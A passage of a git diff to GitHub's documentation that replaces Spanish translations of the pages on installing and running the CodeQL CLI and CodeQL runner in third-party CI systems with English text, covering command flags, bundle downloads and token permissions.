+Analyzes the code in the {% data variables.product.prodname_codeql %} databases and uploads results to {% data variables.product.product_name %}. -| Marcador | Requerido | Valor de entrada | -| ------------------------------------ |:---------:| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `--repositorio` | ✓ | Nombre del repositorio que se analizará. | -| `--commit` | ✓ | SHA de la confirmación que se analizará. En Git y en Azure DevOps, este corresponde al valor de `git rev-parse HEAD`. En Jenkins, este corresponde a `$GIT_COMMIT`. | -| `--ref` | ✓ | Nombre de la referencia a analizar, por ejemplo `refs/heads/main` o `refs/pull/42/merge`. Tanto en Git como en Jenkins, esto corresponde al valor de `git symbolic-ref HEAD`. En Azure DevOps, esto corresponde a `$(Build.SourceBranch)`. | -| `--github-url` | ✓ | URL de la instancia de {% data variables.product.prodname_dotcom %} donde se hospeda tu repositorio. |{% ifversion ghes < 3.1 %} -| `--github-auth` | ✓ | Un token de {% data variables.product.prodname_github_apps %} o un token de acceso personal. |{% else %} -| `--github-auth-stdin` | ✓ | Lee el token de las {% data variables.product.prodname_github_apps %} o token de acceso personal desde la entrada estándar. -{% endif %} -| `--checkout-path` | | La ruta a la confirmación de salida de tu repositorio. El predeterminado es el directorio de trabajo. | -| `--no-upload` | | Ninguno. Impide que el {% data variables.product.prodname_codeql_runner %} cargue los resultados a {% data variables.product.product_name %}. | -| `--output-dir` | | Directorio en donde se almacenan los archivos SARIF de salida. El predeterminado está en el directorio de archivos temporales. | -| `--ram` | | Cantidad de memoria a utilizar cuando ejecutes consultas. El valor predeterminado es utilizar toda la memoria disponible. | -| `--no-add-snippets` | | Ninguno. Excluye los fragmentos de código de la salida de SARIF. |{% ifversion fpt or ghes > 3.1 or ghae or ghec %} -| `--category` | | Categoría para incluir el archivo de resultados SARIF para este análisis. La categoría puede utilizarse pra distinguir análisis múltiples de la misma herramienta y confirmación, pero que se llevan a cabo en lenguajes diferentes o en partes diferentes del código. Este valor aparecerá en la propiedad `.automationDetails.id` de SARIF v2.1.0. -{% endif %} -| `--threads` | | Cantidad de hilos a utilizar cuando se ejecutan las consultas. El valor predeterminado es utilizar todos los núcleos disponibles. | -| `--temp-dir` | | Directorio donde se almacenan los archivos temporales. El predeterminado es `./codeql-runner`. | -| `--debug` | | Ninguno. Imprime una salida más verbosa. | -| `-h`, `--help` | | Ninguno. Muestra la ayuda para el comando. | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to analyze. | +| `--commit` | ✓ | SHA of the commit to analyze. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference to analyze, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--no-upload` | | None. Stops the {% data variables.product.prodname_codeql_runner %} from uploading the results to {% data variables.product.product_name %}. | +| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. | +| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. | +| `--no-add-snippets` | | None. Excludes code snippets from the SARIF output. |{% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--category` | | Category to include in the SARIF results file for this analysis. A category can be used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. This value will appear in the `.automationDetails.id` property in SARIF v2.1.0. |{% endif %} +| `--threads` | | Number of threads to use when running queries. The default is to use all available cores. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | -### `cargar` +### `upload` -Carga los archivos SARIF a {% data variables.product.product_name %}. +Uploads SARIF files to {% data variables.product.product_name %}. {% note %} -**Nota**: Si analizas el código con el ejecutor de CodeQL, el comando `analyze` carga los resultados de SARIF predeterminadamente. Puedes utilizar el comando `upload` para cargar los resultados SARIF que generaron otras herramientas. +**Note**: If you analyze code with the CodeQL runner, the `analyze` command uploads SARIF results by default. You can use the `upload` command to upload SARIF results that were generated by other tools. {% endnote %} -| Marcador | Requerido | Valor de entrada | -| ------------------------------------ |:---------:| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `--sarif-file` | ✓ | El archivo SARIF a cargar, o un directorio que contiene varios archivos SARIF. | -| `--repositorio` | ✓ | Nombre del repositorio que se analizó. | -| `--commit` | ✓ | SHA de la confirmación que se analizó. En Git y en Azure DevOps, este corresponde al valor de `git rev-parse HEAD`. En Jenkins, este corresponde a `$GIT_COMMIT`. | -| `--ref` | ✓ | Nombre de la referencia que se analizó, por ejemplo, `refs/heads/main` o `refs/pull/42/merge`. Tanto en Git como en Jenkins, esto corresponde al valor de `git symbolic-ref HEAD`. En Azure DevOps, esto corresponde a `$(Build.SourceBranch)`. | -| `--github-url` | ✓ | URL de la instancia de {% data variables.product.prodname_dotcom %} donde se hospeda tu repositorio. |{% ifversion ghes < 3.1 %} -| `--github-auth` | ✓ | Un token de {% data variables.product.prodname_github_apps %} o un token de acceso personal. |{% else %} -| `--github-auth-stdin` | ✓ | Lee el token de las {% data variables.product.prodname_github_apps %} o token de acceso personal desde la entrada estándar. -{% endif %} -| `--checkout-path` | | La ruta a la confirmación de salida de tu repositorio. El predeterminado es el directorio de trabajo. | -| `--debug` | | Ninguno. Imprime una salida más verbosa. | -| `-h`, `--help` | | Ninguno. Muestra la ayuda para el comando. | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--sarif-file` | ✓ | SARIF file to upload, or a directory containing multiple SARIF files. | +| `--repository` | ✓ | Name of the repository that was analyzed. | +| `--commit` | ✓ | SHA of the commit that was analyzed. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference that was analyzed, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md index b2752199ad..6c8749f755 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Instalar el CLI de CodeQL en tu sistema de IC -shortTitle: Instalar el CLI de CodeQL -intro: 'Puedes instalar el {% data variables.product.prodname_codeql_cli %} y utilizarlo para llevar a cabo el {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} en un sistema de integración contínua de terceros.' +title: Installing CodeQL CLI in your CI system +shortTitle: Install CodeQL CLI +intro: 'You can install the {% data variables.product.prodname_codeql_cli %} and use it to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 versions: @@ -24,53 +24,52 @@ redirect_from: - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system --- - {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## Acerca de utilizar el {% data variables.product.prodname_codeql_cli %} para el {% data variables.product.prodname_code_scanning %} +## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %} -Puedes utilizar el {% data variables.product.prodname_codeql_cli %} para ejecutar el {% data variables.product.prodname_code_scanning %} en el código que estás procesando en un sistema de integración continua (IC) de terceros. {% data reusables.code-scanning.about-code-scanning %} Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_code_scanning %} con {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)". +You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." {% data reusables.code-scanning.what-is-codeql-cli %} -Como alternativa, puedes utilizar las {% data variables.product.prodname_actions %} en tu sistema de IC, o al {% data variables.product.prodname_code_scanning %} dentro de {% data variables.product.product_name %}. Para obtener más información sobre el {% data variables.product.prodname_code_scanning %} utilizando acciones, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} para un repositorio](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)". Para encontrar un resumen de las opciones para los sistemas de IC, consulta la sección "[Acerca del {% data variables.product.prodname_code_scanning %} de CodeQL en tu sistema de IC](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)". +Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information about {% data variables.product.prodname_code_scanning %} using actions, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." For an overview of the options for CI systems, see "[About CodeQL {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)". {% data reusables.code-scanning.licensing-note %} -## Descargar el {% data variables.product.prodname_codeql_cli %} +## Downloading the {% data variables.product.prodname_codeql_cli %} -Debes descargar el paquete de {% data variables.product.prodname_codeql %} desde https://github.com/github/codeql-action/releases. Este paquete contiene: +You should download the {% data variables.product.prodname_codeql %} bundle from https://github.com/github/codeql-action/releases. The bundle contains: -- El producto de {% data variables.product.prodname_codeql_cli %} -- Una versión compatible de las consultas y bibliotecas de https://github.com/github/codeql -- Versiones precompiladas de todas las consultas que se incluyen en el paquete +- {% data variables.product.prodname_codeql_cli %} product +- A compatible version of the queries and libraries from https://github.com/github/codeql +- Precompiled versions of all the queries included in the bundle -Siempre debes utilizar Siempre debes utilizar el paquete de {% data variables.product.prodname_codeql %}, ya que este garantiza la compatibilidad y también te da un rendimiento mucho mejor que una descarga independiente del {% data variables.product.prodname_codeql_cli %} y una verificación de las consultas de {% data variables.product.prodname_codeql %}. Si solo ejecutarás el CLI en una plataforma específica, descarga el archivo `codeql-bundle-PLATFORM.tar.gz` adecuado. Como alternativa, puedes descargar el `codeql-bundle.tar.gz` que contiene el CLI para todas las plataformas. +You should always use the {% data variables.product.prodname_codeql %} bundle as this ensures compatibility and also gives much better performance than a separate download of the {% data variables.product.prodname_codeql_cli %} and checkout of the {% data variables.product.prodname_codeql %} queries. If you will only be running the CLI on one specific platform, download the appropriate `codeql-bundle-PLATFORM.tar.gz` file. Alternatively, you can download `codeql-bundle.tar.gz`, which contains the CLI for all supported platforms. {% data reusables.code-scanning.beta-codeql-packs-cli %} -## Configurar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC +## Setting up the {% data variables.product.prodname_codeql_cli %} in your CI system -Necesitas habilitar el contenido integral del paquete de {% data variables.product.prodname_codeql_cli %} para cada servidor de IC en el que quieras ejecutar el análiss del {% data variables.product.prodname_code_scanning %} de CodeQL. Por ejemplo, puedes configurar cada servidor para copiar el paquete desde una ubicación intera y centrar y extraerlo. Como alternativa, puedes utilizar la API de REST para obtener el paquete directamente desde {% data variables.product.prodname_dotcom %} para garantizar que te beneificarás de las últimas mejoras a las consultas. Las actualizaciones del {% data variables.product.prodname_codeql_cli %} se lanzan cada 2 o 3 semanas. Por ejemplo: +You need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run CodeQL {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. Updates to the {% data variables.product.prodname_codeql_cli %} are released every 2-3 weeks. For example: ```shell $ wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz $ tar -xvzf ../codeql-bundle-linux64.tar.gz ``` -Después de que extraes el paquete del {% data variables.product.prodname_codeql_cli %}, puedes ejecutar el ejecutable del `codeql` en el servidor: +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the `codeql` executable on the server: -- Al ejecutar `//codeql/codeql`, en donde `` es la carpeta en donde extrajiste el paquete de {% data variables.product.prodname_codeql_cli %}. -- Si agregas `//codeql` a tu `PATH` para que puedas ejecutar los archivos ejecutables como `codeql` simplemente. +- By executing `//codeql/codeql`, where `` is the folder where you extracted the {% data variables.product.prodname_codeql_cli %} bundle. +- By adding `//codeql` to your `PATH`, so that you can run the executable as just `codeql`. -## Probar la configuración del {% data variables.product.prodname_codeql_cli %} +## Testing the {% data variables.product.prodname_codeql_cli %} set up -Después de que extraes el paquete de {% data variables.product.prodname_codeql_cli %}, puedes ejecutar el siguiente comando para verificar que el CLI esté configurado correctamente para crear y analizar bases de datos. +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly set up to create and analyze databases. - `codeql resolve qlpacks` if `//codeql` is on the `PATH`. - `//codeql/codeql resolve qlpacks` otherwise. -**Extraer desde una salida exitosa:** +**Extract from successful output:** ``` codeql-cpp (//codeql/qlpacks/codeql-cpp) codeql-cpp-examples (//codeql/qlpacks/codeql-cpp-examples) @@ -93,12 +92,12 @@ codeql-python-upgrades (//codeql/qlpacks/codeql-python-upgrades ... ``` -Debes verificar que la salida contenga los lenguajes esperados y también que la ubicación del directorio para el archivo de qlpack sea correcta. La ubicación debe estar dentro del paquete del {% data variables.product.prodname_codeql_cli %} que se extrajo, el cual se muestra anteriormente como ``, a menos de que hayas utilizado una verificación de `github/codeql`. Si el {% data variables.product.prodname_codeql_cli %} no es capaz de localizar los qlpacks para los lenguajes esperados, verifica que hayas descargado el paquete de {% data variables.product.prodname_codeql %} y no una copia independiente del {% data variables.product.prodname_codeql_cli %}. +You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown above as ``, unless you are using a checkout of `github/codeql`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}. -## Generar un token para autenticarse con {% data variables.product.product_name %} +## Generating a token for authentication with {% data variables.product.product_name %} -Cada servidor de IC necesita una {% data variables.product.prodname_github_app %} o un token de acceso personal para que utilice el {% data variables.product.prodname_codeql_cli %} para cargar los resultados a {% data variables.product.product_name %}. Debes utilizar un token de acceso o una {% data variables.product.prodname_github_app %} con el permiso de escritura `security_events`. Si los servidores de IC utilizan un token con este alcance para verificar los repositorios de {% data variables.product.product_name %}, podrías permitir potencialmente que {% data variables.product.prodname_codeql_cli %} utilice el mismo token. De lo contrario, debes crear un token nuevo con el permiso de escritura `security_events` y agregarlo al almacenamiento secreto del sistema de IC. Para obtener más información, consulta las secciones "[Crear {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" y "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)". +Each CI server needs a {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_cli %} to use to upload results to {% data variables.product.product_name %}. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.product_name %}, you could potentially allow the {% data variables.product.prodname_codeql_cli %} to use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -## Pasos siguientes +## Next steps -Ahora estás listo para configurar el sistema de IC para que ejecute el análisis de {% data variables.product.prodname_codeql %}, genere resultados y los cargue en {% data variables.product.product_name %} donde dichos resultados se empatarán con una rama o solicitud de cambios y se mostrarán como alertas del {% data variables.product.prodname_code_scanning %}. Para obtener información detallada, consulta la sección "[Configurar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)". +You're now ready to configure the CI system to run {% data variables.product.prodname_codeql %} analysis, generate results, and upload them to {% data variables.product.product_name %} where the results will be matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For detailed information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)." diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md index 72cbc16e06..14ce3be757 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Ejecutar el ejecutor de CodeQL en tu sistema de IC -shortTitle: Ejecutar el ejecutor de CodeQL -intro: 'Puedes utilizar el {% data variables.product.prodname_codeql_runner %} para llevar a cabo el {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} en un sistema de integración contínua de terceros.' +title: Running CodeQL runner in your CI system +shortTitle: Run CodeQL runner +intro: 'You can use the {% data variables.product.prodname_codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system @@ -25,7 +25,6 @@ topics: - CI - SARIF --- - @@ -33,93 +32,94 @@ topics: {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## Acerca de {% data variables.product.prodname_codeql_runner %} +## About the {% data variables.product.prodname_codeql_runner %} -El {% data variables.product.prodname_codeql_runner %} es una herramienta que puedes utilizar para ejecutar el {% data variables.product.prodname_code_scanning %} en el código que estás procesando en un sistema de integración contínua (IC) de terceros. {% data reusables.code-scanning.about-code-scanning %} Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_code_scanning %} con {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)". +The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -En muchos casos es más fácil configurar el {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} utilizando el {% data variables.product.prodname_codeql_cli %} directamente en tu sistema de IC. +In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system. {% endif %} -Como alternativa, puedes utilizar las {% data variables.product.prodname_actions %} en tu sistema de IC, o al {% data variables.product.prodname_code_scanning %} dentro de {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} en un repositorio](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)". +Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -El {% data variables.product.prodname_codeql_runner %} es una herramienta de línea de comandos que ejecuta un análisis de {% data variables.product.prodname_codeql %} en un control de un repositorio de {% data variables.product.prodname_dotcom %}. Agregas el ejecutor a tu sistema de terceros y luego lo llamas para que analice el código y cargue los resultados a {% data variables.product.product_name %}. Estos resultados se muestran como alertas del {% data variables.product.prodname_code_scanning %} en el repositorio. +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository. {% note %} -**Nota:** +**Note:** {% ifversion fpt or ghec %} -* El {% data variables.product.prodname_codeql_runner %} utiliza el CLI de {% data variables.product.prodname_codeql %} para analizar el código y, por lo tanto, tiene las mismas condiciones de licencia. Se puede utilizar gratuitamente en los repositorios que mantiene {% data variables.product.prodname_dotcom_the_website %}, y está disponible para utilizarse en aquellos que pertenecen a los clientes con una licencia de {% data variables.product.prodname_advanced_security %}. Para obtener información, consulta la sección "[Términos y condiciones del {% data variables.product.prodname_codeql %} de {% data variables.product.product_name %}](https://securitylab.github.com/tools/codeql/license)" y [CLI de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/)". +* The {% data variables.product.prodname_codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." {% else %} -* El {% data variables.product.prodname_codeql_runner %} se encuentra disponible para los clientes con una licencia de {% data variables.product.prodname_advanced_security %}. +* The {% data variables.product.prodname_codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license. {% endif %} {% ifversion ghes < 3.1 or ghae %} -* El {% data variables.product.prodname_codeql_runner %} no debe confundirse con el CLI de {% data variables.product.prodname_codeql %}. El CLI de {% data variables.product.prodname_codeql %} es una interface de línea de comandos que te permite crear bases de datos de {% data variables.product.prodname_codeql %} para investigaciones de seguridad y ejecutar consultas de{% data variables.product.prodname_codeql %}. Para obtener más información, consulta "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)." +* The {% data variables.product.prodname_codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries. +For more information, see "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)." {% endif %} {% endnote %} -## Descargar el {% data variables.product.prodname_codeql_runner %} +## Downloading the {% data variables.product.prodname_codeql_runner %} -Puedes descargar el {% data variables.product.prodname_codeql_runner %} desde https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. En algunos sistemas operativos, puede que necesites cambiar permisos para el archivo de descarga antes de que lo puedas ejecutar. +You can download the {% data variables.product.prodname_codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it. -En Linux: +On Linux: ```shell chmod +x codeql-runner-linux ``` -En macOS: +On macOS: ```shell chmod +x codeql-runner-macos sudo xattr -d com.apple.quarantine codeql-runner-macos ``` -En Windows, el archivo `codeql-runner-win.exe` habitualmente no necesita que se hagan cambios a los permisos. +On Windows, the `codeql-runner-win.exe` file usually requires no change to permissions. -## Agregar el {% data variables.product.prodname_codeql_runner %} a tu sistema de IC +## Adding the {% data variables.product.prodname_codeql_runner %} to your CI system -Una vez que descargas el {% data variables.product.prodname_codeql_runner %} y verificas que puede ejecutarse, debes poner el ejecutor disponible para cada servidor de IC que pretendas utilizar para el {% data variables.product.prodname_code_scanning %}. Por ejemplo, podrías configurar cada servidor para que copie el ejecutor desde una ubicación interna y central. Como alternativa, puedes utilizar la API de REST para obtener el ejecutor directamente de {% data variables.product.prodname_dotcom %}, por ejemplo: +Once you download the {% data variables.product.prodname_codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example: ```shell wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux chmod +x codeql-runner-linux ``` -Además, cada servidor de IC necesitará también: +In addition to this, each CI server also needs: -- Un token de acceso personal o de {% data variables.product.prodname_github_app %} para que utilice el {% data variables.product.prodname_codeql_runner %}. Debes utilizar un token de acceso con el alcance `repo`, o una {% data variables.product.prodname_github_app %} con el permiso de escritura `security_events`, y los permisos de lectura `metadata` y `contents`. Para obtener más información, consulta las secciones "[Crear {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" y "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)". -- Acceso al paquete de {% data variables.product.prodname_codeql %} asociado con este lanzamiento del {% data variables.product.prodname_codeql_runner %}. Este paquete contiene consultas y bibliotecas necesarias para el análisis de {% data variables.product.prodname_codeql %}, adicionado con el CLI de {% data variables.product.prodname_codeql %}, el cual utiliza internamente el ejecutor. Para obtener más información, consulta la sección "[CLI de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/)". +- A {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." +- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.product.prodname_codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." -Las opciones para proporcionar acceso al paquete de {% data variables.product.prodname_codeql %} son: +The options for providing access to the {% data variables.product.prodname_codeql %} bundle are: -1. Permite que los servidores de IC accedan a https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action para que el {% data variables.product.prodname_codeql_runner %} pueda descargar el paquete automáticamente. -1. Descarga/extrae manualmente el paquete, almacénalo con otros recursos centrales y utiliza el `--codeql-path` para especificar la ubicación del paquete en los llamados para inicializar el {% data variables.product.prodname_codeql_runner %}. +1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} can download the bundle automatically. +1. Manually download/extract the bundle, store it with other central resources, and use the `--codeql-path` flag to specify the location of the bundle in calls to initialize the {% data variables.product.prodname_codeql_runner %}. -## Llamar al {% data variables.product.prodname_codeql_runner %} +## Calling the {% data variables.product.prodname_codeql_runner %} -Debes llamar al {% data variables.product.prodname_codeql_runner %} desde la ubicación de verificación del repositorio que quieres analizar. Los dos comandos principales son: +You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are: -1. `init` que se requiere para inicializar el ejecutor y para crear una base de datos de {% data variables.product.prodname_codeql %} para que se analice cada lenguaje. Estas bases de datos se llenan y analizan mediante comandos subsecuentes. -1. `analyze` que se requiere para llenar las bases de datos de {% data variables.product.prodname_codeql %}, analizarlas y cargar los resultados a {% data variables.product.product_name %}. +1. `init` required to initialize the runner and create a {% data variables.product.prodname_codeql %} database for each language to be analyzed. These databases are populated and analyzed by subsequent commands. +1. `analyze` required to populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload results to {% data variables.product.product_name 